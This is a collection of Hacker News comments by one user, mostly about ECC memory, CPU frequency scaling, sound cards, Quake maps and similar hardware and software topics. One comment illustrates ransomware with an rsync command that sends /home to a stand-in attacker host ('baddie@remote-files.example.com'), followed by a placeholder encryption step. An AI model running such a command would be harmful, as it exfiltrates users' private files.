theevilsharpie

One of the benefits of ECC RAM is the ability to detect single and double-bit memory errors. In the absence of that capability, how would you know if you have a problem with your RAM?

> What have your experiences been with running your workstations with ECC ram.

For AMD desktop processors, there is a little more effort involved in building an ECC-capable system, because ECC is a feature provided by the motherboard maker, rather than a feature guaranteed to be present as part of AMD's platform. As such, you need to verify that your motherboard actually supports it.

Also, ECC memory largely lacks memory auto-overclocking features like XMP, EXPO, or whatever AMD called it in the past. As such, the memory will default to conservative bandwidth and latency settings (rather than the faster settings typically offered on enthusiast RAM), and it will be on you to overclock it if you wish to do so.

(On the positive side, ECC memory also largely lacks the "heat spreaders" and other plastic/RGB bits found on enthusiast memory, which means it's more likely to fit properly underneath a tower-style CPU air cooler.)

Lastly, unbuffered ECC can be somewhat difficult to find at typical consumer electronics retailers, and you'll likely have better luck getting it from vendors that specialize in server memory.

Search for "edac_mc_panic_on_ue"

This is dependent on the system configuration. For Linux, default behavior is to halt only if the uncorrected error occurs in memory used by the kernel.

It's more accurate to say that double bit flips will be detected.

Managers very much work in their own self interest, along with the rest of us.

In an interview, an engineer might be asked something like, "how many nodes did you manager/how many lines of code/how many microservices/etc.," as a way of gauging their level of skill and expertise. There is an implicit understanding -- on both sides -- that the complexity of the systems the engineer dealt is directly correlated with their expertise and talent, even if that kind of proxy is irrational when you really think about it.

Managers deal the same thing, except their questions are more along the lines of, "how many people reported to you/how big was you budget/etc."

In fact, I'd argue that self-interest is even worse on the management side, because the career stakes are so much higher. I have seen, on several occasions, top management commit to a strategy that was objectively failing with no practical path to success, because admitting that the strategy had failed would have gotten them fired by the board. It can be extremely catastrophic to the company when it enters that kind of failure mode.

- While the error rate of memory is "low" (however you define that to mean), it is not zero, so the risk of memory errors persists.

- A machine without ECC memory has no reliable way to detect memory errors without some type of external diagnostic.

- While a memory test can (hopefully) detect faulty memory, it takes the computer out of operation for however long the test is run, and even then, it's simply a point-in-time test. It cannot detect memory errors that happened in the past, or that will happen in the future once the test has ended.

- ECC provides a mechanism to reliable detect memory errors as they occur, continuously, while the machine is running and performing useful work.

- While many memory manufacturers offer lifetime warranties on their memory modules, they cannot possibly warrant against data corruption and malfunctions caused by memory errors, which can have a much higher cost to the user than the modules themselves (and would almost certainly be more than the BOM cost difference between ECC and non-ECC modules).

- ECC has been cited by Microsoft and Linus Torvalds as desirable and something that should be broadly adopted, and ECC is commonly found in a wide variety of memory products (e.g., caches and solid state storage), with the glaring exception of main memory on consumer PC hardware.

- While ECC does cost more (all else being equal), the side-band ECC being discussed is the same effective speed as non-ECC memory. The overhead of ECC is canceled out by the ECC DIMM's extra capacity and bandwidth relative to the non-ECC DIMM.

Unfortunately, for whatever reason, the 2 Gbps service doesn't allow for (or didn't, when I looked into it) the use of your own routing equipment -- you have to use the wireless router that they provide.

The 5+ Gbps blog explicitly mentions being able to use your own routing equipment, so that's a promising sign. I'm not in the regions that Google Fiber explicitly listed, but I'll be keeping an eye on future announcements.

  rsync -az /home baddie@remote-files.example.com:/your-files/
  encrypt-all-files /home

I suppose it would be possible for the ransomware to be aware of Virtualbox and somehow manipulate Virtualbox's management plane to get access to unencrypted disk data, but unless you're the victim of a targeted ransomware attack, that's pretty unlikely.

The native display managers for XFCE, MATE, and (I believe) KDE allow you to disable compositing. GNOME and Unity's native display managers don't (AFAIK). I have no idea if display compositing can be disabled on macOS.

The Linux CPU frequency governor literally uses it as part of the algorithm for calculating its sampling rate (i.e., how frequently it checks whether to adjust the processor's frequency).

> Please also read about Intel's "Speed Shift". While it's fairly new (only debuted in 2015), it means the CPU can clock up by itself without waiting for a transition command from the OS.

Hardware-managed P-states don't need to wait for the OS to send a command to change the frequency, but the processor still performs periodic sampling to determine what the frequency should be (this happens ever millisecond on modern AMD and Intel hardware), the processor isn't necessarily going to choose the maximum frequency right away, and it's still subject to delays from the OS (e.g., Windows core parking).

In any case, a multi-millisecond delay in switching frequency isn't because the processor is waiting for the voltage to increase.

Modern processors can switch frequencies very fast -- generally within microseconds. An example from the machine I'm currently using:

    $ grep 'model name' /proc/cpuinfo | uniq; sudo cpupower frequency-info -y -m

    model name : Intel(R) Core(TM) i5-4310U CPU @ 2.00GHz
    analyzing CPU 0:
      maximum transition latency: 20.0 us

With respect to the operating system, the amount of time it takes to reach maximum frequency from idle depends on:

- How frequently the OS checks to see if the frequency should be increased

- Whether the OS will step through increasing frequencies, or go straight to the max frequency

- If the OS is stepping through increasing frequencies, how many it needs to step through

- Whether the core is already active, or if it needs to be awakened from a sleep state first

It looks like the OP is using Windows. Windows has a number of hidden (and poorly documented) tunables that control the above settings, and would have a significant impact on how quickly a CPU can reach max frequency. Microsoft used to have an extensive document (specifically, a Word document for Windows Server 2008) describing how to tune these parameters using the `powercfg` CLI tool and provided a detailed reference for each parameter, which I unfortunately can't find anymore. It looks like Microsoft's modern server performance tuning documentation describes a subset of these parameters.[1]

Linux has similar tunables for its `ondemand` CPU scheduler.[2] It looks like the default sampling rate to determine whether to adjust the frequency is 1000 times greater than the transition latency, or about 20 milliseconds on my machine.

I'm not familiar with macOS, but it likely has something similar (although it may not be user-accessible).

[1] https://docs.microsoft.com/en-us/windows-server/administrati...

[2] https://www.kernel.org/doc/html/v5.15/admin-guide/pm/cpufreq...

- During the MS-DOS era, there wasn't really a standard API for sound, so using a cheap, off-brand sound chip (including anything that might be integrated) often meant compatibility problems. Even though it might not necessarily have offered the highest quality sound, Creative's Sound Blaster line was the gold standard for compatibility during this time. Standardized sound APIs have largely eliminated this issue.

-Throughout the '90s, music for games (and a number of other applications) was distributed as MIDI (or MIDI-like) instructions to be generated by a synthesizer, and the quality of the music was very much dependent on the synthesizer used. The Roland Sound Canvas series was the gold standard at the time (in part due to its quality, and in part because that's what the composers themselves used), but it was very expensive and out of reach to the mass market. Software synthesizers were either too slow, or the quality sucked. That gave an opportunity for sound card manufacturers like Creative to offer higher-quality hardware synthesizers on their sound cards than what cheap/integrated cards could do. These days, most audio is PCM, and hardware is perfectly capable of high-quality software sound synthesis, so hardware synthesis has become a non-issue and modern consumer sound hardware doesn't even have hardware synthesis capabilities anymore.

- During the '00s, sound cards began to offer accelerated environmental and positional audio (e.g., Aureal3D, Creative EAX), which games quickly adopted to improve the sense of immersion. However, changes in the Windows audio architecture introduced with Windows Vista broke this functionality without a replacement. Advances in CPU hardware have since allowed this type of processing to be done on the CPU (e.g., XAudio 3D, OpenAL Soft) with acceptable performance.

In the current era, we do have dedicated soundcards, although not in the form of PCIe add-in boards. External DACs (either dedicated USB, or integrated into a display or AV receiver) are popular, as are the DACs used by wireless/USB headphones. Also, there has been some work done to utilize the computational capability of GPUs for real-time audio ray tracing.

Every other boot, the BIOS would fail to initialize the controller, leaving the computer stuck at a "non-bootable device" error until I could manually reboot it.

My solution? A perpetually plugged-in USB flash drive with a small boot loader that would simply reboot the machine again, set to a lower boot priority than the SATA RAID controller.

It was pretty stupid, but if it's stupid and it works...

It may always work from the kernel's standpoint, but this doesn't necessarily make it usable.

Anything that blocks the display of WinLogon (e.g., the GPU has crashed and is unresponsive) would render this emergency restart mechanism unusable, and typically, situations like this are usually the only time I would need such a feature.

    PS C:\> wmic CPU get Name
    Name
    AMD Ryzen 9 3900X 12-Core Processor

    PS C:\> wmic Baseboard get Product,Manufacturer
    Manufacturer  Product
    ASRock        B450M Pro4

    PS C:\> wmic MemoryChip get Manufacturer,PartNumber,BankLabel,Capacity,Speed
    BankLabel     Capacity     Manufacturer  PartNumber        Speed
    P0 CHANNEL A  17179869184  Kingston      9965745-002.A00G  2667
    P0 CHANNEL A  17179869184  Kingston      9965745-002.A00G  2667
    P0 CHANNEL B  17179869184  Kingston      9965745-002.A00G  2667
    P0 CHANNEL B  17179869184  Kingston      9965745-002.A00G  2667

    PS C:\> wmic MemPhysical get MemoryErrorCorrection
    MemoryErrorCorrection
    6                       # "6" is Multi-bit ECC

For consumers, the primary application that benefits from higher RAM bandwidth is real-time graphics rendering, and non-Apple PCs optimize for this by using discrete GPUs with their own onboard high-bandwidth memory.

If you're specifically looking for "large" levels that will stress even modern Quake engines, the Quake mapper "ORL" is known for making huge, sprawling levels, with "Ter Shibboleth"[2] being the most extreme example. Also notable mentions are the maps "Tears of the False God" and "The Forgotten Sepulcher", both part of Arcane Dimensions 1.8[3] (and Arcane Dimensions in general is filled with very complex maps).

Also worth mentioning is Honey[4]. While it's not as technically engine-breaking as some modern maps, the level design and gameplay is nevertheless known for its sheer scale, so much so that "Honey" has basically become its own map genre.

As a general heuristic for finding large, complex maps:

1. In the QuadAddicted map section[5], sort by the most recently-released maps. The Quake mapping community is small, and many of the mappers have been doing so for a long time. Many of the newer maps will be larger in scale and complexity than older maps from the '90s.

2. Mappers these days often organize their map releases into so-called "Jams" that fit a particular theme. If you search for "jam" in the map name, it'll usually be a high quality map pack.

3. "Speed Maps" and "Turtle Maps" are maps created under a significant time constraint. They can be interesting exercises, and allow mappers to try and get feedback on new things, but if you're looking for large, polished maps, you can skip these.

---

[1] https://www.quaddicted.com/reviews/random_recommendations.ph...

[2] https://www.quaddicted.com/reviews/ter_shibboleth_drake_redu...

[3] https://www.quaddicted.com/reviews/ad_v1_80p1final.html

[4] https://www.quaddicted.com/reviews/honey.html

[5] https://www.quaddicted.com/reviews/

I have never had this experience with Google Cloud support (or support for any Google product -- free or paid), and couldn't even fathom what that kind of response would look like.

The only time I've ever seen anything remotely along these lines was when requesting a new feature for an enterprise product that we sold at the time (we were a channel partner), and even then, it was an online form that was asking about competitive information (e.g., "does anyone else on the market have this feature?").

Intel has also been ignoring the workstation market (although perhaps not by choice).

Despite the current-model Threadripper being nearly two-years old and last generation technology, it is still far and away the performance leader in that segment in terms of perf/watt, perf/dollar, and oftentimes outright performance.

ECC is only officially supported on the Ryzen Threadripper PRO, and that's largely because it uses registered memory which will practically always have ECC capability.

Regular Ryzen PRO CPUs have the same ECC support as non-PRO Ryzen CPUs: functional, but not validated by AMD.

Ryzen PRO APUs have (non-validated) support for ECC, whereas non-PRO APUs don't support ECC at all.

As a 12-year-old kid (or thereabouts), I remember playing another DOS space shooter/RPG called Solar Winds, which I remember having a reasonably engaging shareware episode. I tracked it down later as an adult and played the full release and the sequel, and both felt really rushed and fell well short of the world that the shareware version offered. It was definitely an experience that didn't live up to my childhood memories.

On the other hand, I didn't play any of the Star Control games growing up, and so had no nostalgia for Ur-Quan Masters when I first played it around 2018 or so as a middle-aged adult. The game definitely holds up today, and even though the combat can be frustrating, the game's heart and character more than makes up for it. Even the grindy resource collection aspect is oddly addicting.

It's a shame what became of the Star Control franchise since. :(

On x86 processors, you can achieve this at the kernel level by adding `idle=poll` to the kernel command line.

It's a distinction without a difference, as the end result is graphical assets (textures, sprites, etc.) that were designed to be displayed without any filtering.

Modern engines like GZDoom or eDuke32 have full-fledged 3D renderers, rather than the quasi-3D renderers of old. If you don't get motion sickness playing modern games, then playing Doom on an engine with a modern renderer might be helpful.

Signal has clients for Windows, Mac, and GNU/Linux.

AMD has an ARM architectural license, they've released ARM processors (e.g., the Opteron A-series, the AMD Platform Security Processor, etc.), and were at one point experimenting with a common ARM/x86 platform (Project Skybridge).

If Apple wanted a third party to design an ARM-compatible processor for them, AMD would be capable of doing so. Indeed, when there was speculation last year about AMD developing an ARM processor, I suggested that Apple would be the only customer where that would make sense.[1] However, given the success of M1 and Apple's scaling strategy for it, it's unlikely that AMD has anything to offer right now that Apple would want.

[1] https://news.ycombinator.com/item?id=25298928

    site:reddit.com/r/bifl

It's not just your code that is vulnerable.

Our in-house software doesn't use log4j, but a number of third-party components we use do and needed to be patched.